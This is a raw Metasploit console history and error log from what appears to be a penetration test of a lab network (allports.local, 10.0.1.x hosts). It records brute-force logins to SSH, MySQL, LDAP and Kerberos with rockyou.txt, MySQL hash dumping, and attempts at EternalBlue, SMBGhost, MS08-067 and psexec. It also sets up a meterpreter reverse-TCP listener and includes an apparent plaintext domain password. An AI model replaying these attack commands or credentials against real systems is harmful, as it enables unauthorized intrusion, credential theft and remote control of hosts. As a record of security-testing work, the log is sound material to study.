set swagger_host 10.0.1.15:8001
run
exit


_raw: [11/08/2025 15:36:42] [e(0)] core: Exploit failed (multi/fileformat/swagger_param_inject): Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload. - Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload.


_raw: [11/08/2025 15:36:24] [e(0)] core: Exploit failed (multi/fileformat/swagger_param_inject): Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload. - Msf::IncompatiblePayloadError generic/shell_reverse_tcp is not a compatible payload.


_raw:
search ldap-brute
use auxiliary/scanner/ldap/ldap_login
set RHOSTS 10.0.1.6
set username admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
options
set BRUTEFORCE_SPEED 3
options
set ANONYMOUS_LOGIN true
options
run
clear
exit
exit -y


_raw: [11/08/2025 15:35:18] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
options
set rhosts 10.0.1.99
run
exit


_raw:
clear
ls
search scanner smb
use 4
use 13
options
setg RHOSTS 10.0.1.20
search RPC
search scanner RPC
search netbios
use 2
options
run
set RPORT 139
run
search microsoft terminal
clear
search netbios ssn
search ssn
search HTTPAPI
search SSDP
use 10
options
set rport 5986
options
run
search msrpc
use 0
options
set rport 49664
search netbios
use 2
options
run
search nginex scanner
search nginex
search nginx
use 6
options
setg RHOSTS 10.0.1.14
run
set RPORT 443
run
options
search gunicorn
search netbios
use 2
clear
setg RHOSTS 10.0.1.21
options
run
search wbt
search ds
search microsoft-ds
clear
search smb scanner
use 4
options
info
run
search smb
search smb scanner
use 23
options
run
search security mode
search smb2
clear
ssh 10.0.1.30
search sql scanner
use 11
options
set TABLE_NAME information_schema
set TABLE_NAME TABLES
set DATABASE_NAME infrormatino_schema
set DATABASE_NAME infrormation_schema
options
run
set FILE_LIST *
options
run
clear
exit


_raw: [11/08/2025 15:34:50] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:32:45] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:32:33] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/gather/kerberos_enumusers
show options
show actions
use auxiliary/scanner/kerberos/kerberos_login
show options
set rhost 10.0.1.6
set domain allports.local
set user_file users.txt
run
set user_file ~/Documetns/users.txt
set user_file ~/Documents/users.txt
run
exit


_raw: [11/08/2025 15:28:46] [e(0)] core: Failed to setup the session - NoMethodError undefined method `delete_prefix' for an instance of Integer


_raw: [11/08/2025 15:28:37] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 15:27:49] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 15:27:44] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 15:25:39] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:22:38] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 15:22:26] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:22:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:22:08] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql 5.7.44
search mysql 5.7
exit


_raw: [11/08/2025 15:18:06] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:15:31] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 15:15:18] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:14:59] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:14:50] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 15:13:01] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 15:12:48] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search regresshion
search cve-2024-6387
exit


_raw:
search mysql
use 30
set RHOST 10.0.1.99
set RPORT 3306
set USERNAME root
run
set RHOST 10.0.1.15
run
quit


_raw: [11/08/2025 14:59:13] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:59:00] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search externalblue
search
search name externalblue
exit


_raw: [11/08/2025 14:52:31] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:50:26] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 14:50:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/admin/mysql/mysql_sql
set rhosts 10.0.1.15
set username root
exit


_raw: [11/08/2025 14:45:55] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:45:42] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:45:03] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:44:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
[11/08/2025 14:43:53] [e(0)] core: 10.0.1.6:593 - Check failed: The state could not be determined.
/usr/share/metasploit-framework/lib/msf/ui/console/module_command_dispatcher.rb:60:in `check_multiple'
/usr/share/metasploit-framework/lib/msf/ui/console/module_command_dispatcher.rb:155:in `cmd_check'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/usr/bin/msfconsole:23:in `<main>'


_raw: [11/08/2025 14:43:53] [e(0)] core: Exploit failed (windows/smb/ms08_067_netapi): Rex::Proto::SMB::Exceptions::LoginError Login Failed: The SMB response packet was invalid - Rex::Proto::SMB::Exceptions::LoginError Login Failed: The SMB response packet was invalid


_raw: [11/08/2025 14:43:53] [e(0)] core: Rex::Proto::SMB::Exceptions::ReadPacket The SMB response packet was invalid


_raw: [11/08/2025 14:43:32] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:43:31] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:43:30] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:43:12] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:42:48] [e(0)] core: Module exploit/windows/smb/ms08/067_netapi not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw: [11/08/2025 14:42:45] [d(0)] core: Negotiated SMB version: SMB3


_raw:
clear
search mysql
clear
db_nmap -A -T4 10.0.1.99
db_status
db_import service_version_detection.xml
search type:auxiliary scanner
clear
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.0.1.99
set THREADS 10
run
use auxiliary/scanner/ssh/ssh_login
set RHOST 10.0.1.99
set USERNAME users.txt
set password passlist.txt
set USERNAME userlist.txt
run
exploit
creds
set USERNAME /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASSWORD /usr/share/wordlists/rockyou.txt
run
clear
use auxiliary/scanner/ssh/ssh_login
set RHOST 10.0.1.99
set USERNAME /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASSWORD /usr/share/wordlists/rockyou.txt
run
set USERNAME /usr/share/seclists/Usernames/top-usernames-shortlist.txt
run
use auxiliary/scanner/mysql/mysql_login
CreateSession
CreateSession help
help CreateSession
clear
set RHOSTS 10.0.1.99
set USERNAME /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASSWORD /usr/share/wordlists/rockyou.txtx
set PASSWORD /usr/share/wordlists/rockyou.txt
run
set PASSWORDs /usr/share/wordlists/rockyou.txt
set PASSWORDS /usr/share/wordlists/rockyou.txt
set USERNAMES /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set USERNAME_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set USERN_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
set PASS_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
run
exit


_raw: [11/08/2025 14:41:39] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:40:20] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:40:09] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:40:05] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:40:04] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/scanner/mysql/mysql_login
show options
set ANONYMOUS_LOGIN true
set USER_as_PASS true
set user_file /home/pentester/users.txt
set rhosts 10.0.1.15 10.0.1.99
run
exit


_raw: [11/08/2025 14:39:59] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:39:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:39:20] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:39:10] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:39:08] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw: [11/08/2025 14:38:59] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:37:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:36:23] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:36:22] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:36:20] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 14:34:54] [e(0)] core: Module auxiliary/scanner/dcerpc/mtcp_dcerpc_auditor not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw:
use auxiliary/scanner/mysql/mysql_version
show options
set RHOSTS 10.0.1.99
run
set RHOSTS 10.0.1.15
run
use auxiliary/scanner/mysql/mysql_login
show options
set ANONYMOUS_LOGIN true
set RHOSTS 10.0.1.15 10.0.1.99
run
set USER_AS_PASS true
set USER_FILE users.txt
run
set USER_FILE ./users.txt
run
set USER_FILE ~/users.txt
run
set USER_FILE /home/pentester/users.txt
run
exit


_raw: [11/08/2025 14:34:14] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 14:33:40] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw: [11/08/2025 14:27:59] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:22:49] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:22:36] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:22:34] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:21:47] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use auxiliary/admin/mssql/mssql_enum_sql_logins
info
set RHOST 10.0.1.99
set RPORT 3306
exploit
set RHOST 10.0.1.15
exploit
info
exit


_raw:
search eternal
use 24
show topions
show options
set rport 10.0.1.21
run
show ipotins
show options
set rhost 10.0.1.21
run
exit


_raw: [11/08/2025 14:20:25] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 14:20:23] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:20:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:20:10] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/08/2025 14:20:09] [e(0)] core: Exception encountered in cmd_set - Msf::OptionValidateError The following options failed to validate: Value '10.0.1.21' is not valid for option 'RPORT'.


_raw: [11/08/2025 14:19:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:19:42] [e(0)] core: Auxiliary failed - EOFError EOFError


_raw: [11/08/2025 14:18:48] [e(0)] core: Auxiliary failed - EOFError EOFError


_raw: [11/08/2025 14:18:47] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:18:37] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:18:26] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
show
show info
set RHOSTS 10.0.1.15
run
set RHOSTS 10.0.1.99
run
exit


_raw:
search eternal
use 24
show options
set rhost 10.0.1.21
show options
run
ls
search eternal
search jetty
clear
ls
exit


_raw: [11/08/2025 14:17:05] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql
use 32
CreateSession
help
set RHOSTS 10.0.1.99
run
analyze 10.0.1.99
quit


_raw: [11/08/2025 14:16:18] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:13:32] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search router
search routeros
use 1
options
setg RHOSTS 10.0.1.10
run
exit


_raw: [11/08/2025 14:08:35] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 14:08:23] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
help
check 10.0.1.6
serch 10.0.1.6
search 10.0.1.6
search kpassword5
search kpassword
search kpasword
help
search kpaswd5
search <kpaswd5>
search <kpaswd>
search <ssh>
search ssh
search kpaswd5
search kpaswd
search kerberos
scan 10.0.1.6
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.1.6
show options
set threads 50
run
search type:exploit port:464
search name:kpasswd5
info 0
search port:464
search kerberos port:464
search cve:cve-2022-32744
search cve:CVE-2022-32744
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 10.0.1.6
show options
set threads 50
run
search cve:CVE-2012-1182
info 0


_raw: [11/08/2025 14:07:16] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 14:07:04] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:06:50] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 14:06:37] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 14:04:48] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/08/2025 14:01:57] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 13:59:22] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 13:59:10] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 13:59:07] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 13:58:54] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search psexec
use 24
options
set RHOSTS 10.0.1.6
ls
set SMBUser users.txt
set SMBpass Sails@way!
run
exit


_raw: [11/08/2025 13:57:48] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000015b) STATUS_LOGON_TYPE_NOT_GRANTED: A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000015b) STATUS_LOGON_TYPE_NOT_GRANTED: A user has requested a type of logon (for example, interactive or network) that has not been granted. An administrator has control over who may logon interactively and through the network.


_raw: [11/08/2025 13:57:48] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/08/2025 13:55:03] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 13:54:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search smbghost
use 3
info
set RHOSTS 10.0.1.20
exploit
info -d
info
set RPORT 8888
exploit
set RPORT 445
info
exploit
info
payload
exit


_raw:
search kpasswd5
search tcp
search tcp top
search samva
search samvb
search samba
exit


_raw: [11/08/2025 13:41:52] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 13:31:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
CVE-2022-26809
search CVE-2022-26809
exit
use multi/handler
set LHOST 10.0.254.201
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
exit
search CVE-2020-1206
search SMBBleed
search bleed
search ghost
search smb2
search smbghost
use 0
info
exit


_raw: [11/08/2025 13:28:22] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql 5.7.44
search CVE-2023-22028


_raw:
search mysql
use 31
info
set RHOSTS 10.0.1.15
info
run
set PASSWORD root
set USERNAME root
run
set PASSWORD admin
set USERNAME admin
set PASSWORD Administrator
set USERNAME Administrator
run
set PASSWORD root
run
set PASSWORD password
run
back
search mysql
use 18
info
set RHOSTS 10.0.1.15
info
run
set USERNAME root
run
set PASSWORD root
run
back\
back
search ssh
use 0
info
set RHOSTS 10.0.1.15
info
run
back
search dns
use 163
info
search http
use 6676
info
set RHOSTS 10.0.1.11
info
back
search http 1-100
search http
search http head
search apache
search sql
use 154
info
set RHOSTS 10.0.1.15
run
set PASSWORD root
set USERNAME root
run
set USERNAME admin
run
set USERNAME admin
info
set PASSWORD admin
run
back
search mysql


_raw:
search CVE-2024-6387
search openssh 8.9
search openssh


_raw: [11/08/2025 13:18:06] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
use auxiliary/gather/ldap_query
show options
set LDAPDomain allports.local
set LDAPPassword Sails@way!
set LDAPUsername
lPeterson
set lPeterson
set LDAPUsername lpeterson
set RHOSTS 10.0.1.6
exploit
set auxiliary/scanner/ldap/ldap_login
use /auxiliary/scanner/ldap/ldap_login
show options
set LDAPDomain allports.local
set LDAPPassword Sails@way!
set LDAPUsername lpeterson
exploit
set RHOSTS 10.0.1.6
exploit
sessions
sessions -i 1


_raw: [11/08/2025 13:17:44] [e(0)] core: Failed to open history file: /home/pentester/.msf4/ldap_session_history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/ldap_session_history


_raw:
CVE-2022-26809
search CVE-2022-26809
exit
use multi/handler
set LHOST 10.0.254.201
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
exit


_raw: [11/08/2025 13:16:53] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/08/2025 13:09:33] [d(0)] core: Operation was successful


_raw: [11/08/2025 13:09:33] [i(0)] core: 10.0.1.6:389 Discovered Schema DN: CN=Schema,CN=Configuration,DC=allports,DC=local


_raw: [11/08/2025 13:07:44] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
use multi/handler
set LHOST 10.0.254.201
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
exit


_raw: [11/08/2025 13:07:30] [e(0)] core: Exploit failed (multi/handler): Interrupt  - Interrupt


_raw: [11/08/2025 13:07:05] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 13:06:53] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 13:03:50] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 12:59:34] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 12:59:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 12:53:25] [e(0)] core: Error running against host 10.0.1.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SSH)


_raw:
use auxiliary/scanner/mysql/mysql_hashdump
show
show info
set RHOSTS 10.0.1.15
run
exit


_raw: [11/08/2025 12:50:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql
use 31
info
set RHOSTS 10.0.1.15
info
run
set PASSWORD root
set USERNAME root
run
set PASSWORD admin
set USERNAME admin
set PASSWORD Administrator
set USERNAME Administrator
run
set PASSWORD root
run
set PASSWORD password
run
back
search mysql
use 18
info
set RHOSTS 10.0.1.15
info
run
set USERNAME root
run
set PASSWORD root
run
back\
back
search ssh
use 0
info
set RHOSTS 10.0.1.15
info
run
back
search dns
use 163
info
search http
use 6676
info
set RHOSTS 10.0.1.11
info
back
search http 1-100
search http
search mysql
use 30
info
set RHOSTS 10.0.1.15
info
run
back
search mysql
use 32
info
ANONYMOUS_LOGIN true
set ANONYMOUS_LOGIN true
set RHOSTS 10.0.1.15
run
info
set USERNAME
info
run
back
search sql
search apache
db_nmap -sV -sC -T4 10.0.1.15
vulns
sudo db_nmap -A -T4 10.0.1.15
db_nmap -A -T4 10.0.1.15
vulns
services
search jetty
use 3
info
set RHOSTS 10.0.1.15
run
vulns 10.0.1.15
back
services
search Mysql 5.7.44
search Mysql 4
search Mysql
use 21
info
set RHOSTS 10.0.1.15
run
exit
search mysql4
search mysql 4
21
use 21
info
set RHOSTS 10.0.1.15
run
back
services
search ssh
use 0
info
set RHOSTS 10.0.1.15
info
run
back
services
search nginx
use 0
info
set RHOSTS 10.0.1.15
run
info
run
SET LHOST
SET LHOSTS
set LHOST
info
set LOHST 10.0.254.201
set LHOST 10.0.254.201
run
services
back
exit


_raw: [11/08/2025 12:44:35] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw: [11/08/2025 12:44:34] [e(0)] core: Scan Error: Bad handshake - Mysql::ServerError::HandshakeError Bad handshake


_raw: [11/08/2025 12:42:07] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 12:41:55] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search mysql
use 31
info
set RHOSTS 10.0.1.15
info
run
set PASSWORD root
set USERNAME root
run
set PASSWORD admin
set USERNAME admin
set PASSWORD Administrator
set USERNAME Administrator
run
set PASSWORD root
run
set PASSWORD password
run
back
search mysql
use 18
info
set RHOSTS 10.0.1.15
info
run
set USERNAME root
run
set PASSWORD root
run
back\
back
search ssh
use 0
info
set RHOSTS 10.0.1.15
info
run
back
search dns
use 163
info
search http
use 6676
info
set RHOSTS 10.0.1.11
info
back
search http 1-100
search http
search mysql
use 30
info
set RHOSTS 10.0.1.15
info
run
back
search mysql
use 32
info
ANONYMOUS_LOGIN true
set ANONYMOUS_LOGIN true
set RHOSTS 10.0.1.15
run
info
set USERNAME
info
run
back
search sql
search apache
db_nmap -sV -sC -T4 10.0.1.15
vulns
sudo db_nmap -A -T4 10.0.1.15
db_nmap -A -T4 10.0.1.15
vulns
services
search jetty
use 3
info
set RHOSTS 10.0.1.15
run
vulns 10.0.1.15
back
services
search Mysql 5.7.44
search Mysql 4
search Mysql
use 21
info
set RHOSTS 10.0.1.15
run
exit


_raw: [11/08/2025 12:23:38] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 12:15:43] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search 10.0.1.20
help
check 10.0.1.20
check help
help
search
check
help
check 10.0.1.0/24
clear
search exploits
info 10.0.1.20
info
info check
inf
info help
help
check 10.0.1.20/24
help
sessions -k 1
check 10.0.1.20
help
clear
exit


_raw:
clear
db_nmap -sV -O -p-
db_nmap -sV -O -p- 10.0.1.99
hosts
Vulns
vulns
use auxiliary/scanner/portscan/tcp
search
vulns 10.0.1.99
vulns 10.0.1.20
clear
help
RHOSTS 10.0.1.99
hosts 10.0.1.99
vulns
run
RHOSTS=10.0.1.99
clear
exit


_raw: [11/08/2025 11:44:04] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/08/2025 11:40:49] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:40:34] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw:
check 10.0.1.20
help
search 10.0.1.20
search help


_raw: [11/08/2025 11:34:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search smbghost
use 2
options
use 6
use 5
options
set RHOSTS 10.0.1.20
run
show targets
use 4
options
run


_raw: [11/08/2025 11:31:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 11:30:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 11:28:04] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/08/2025 11:27:51] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/08/2025 11:26:13] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:21:14] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw:
use 6676
info
set RHOSTS 10.0.1.11
info
back
search http 1-100
search http


_raw: [11/08/2025 11:10:20] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:10:02] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:07:49] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:07:48] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:07:45] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:07:45] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 11:07:44] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw: [11/08/2025 11:07:44] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/08/2025 11:07:43] [d(0)] core: monitor_rsock: Skipping - functionality not required


_raw:
[11/08/2025 11:06:39] [e(0)] core: Thread Exception: WebConsoleShell  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/ui/web/web_console.rb:84:in `initialize'
    /usr/share/metasploit-framework/lib/msf/ui/web/driver.rb:62:in `new'
    /usr/share/metasploit-framework/lib/msf/ui/web/driver.rb:62:in `create_console'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/rpc_console.rb:28:in `rpc_create'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:145:in `block in process'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:185:in `block in timeout'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:38:in `handle_timeout'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/timeout-0.4.3/lib/timeout.rb:194:in `timeout'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:143:in `process'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:81:in `on_request_uri'
    /usr/share/metasploit-framework/lib/msf/core/rpc/v10/service.rb:62:in `block in start'
    /usr/share/metasploit-framework/lib/rex/proto/http/handler/proc.rb:38:in `on_request'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:316:in `dispatch_request'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:250:in `on_client_data'
    /usr/share/metasploit-framework/lib/rex/proto/http/server.rb:109:in `block in start'
    /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.34/lib/rex/io/stream_server.rb:42:in `on_client_data'
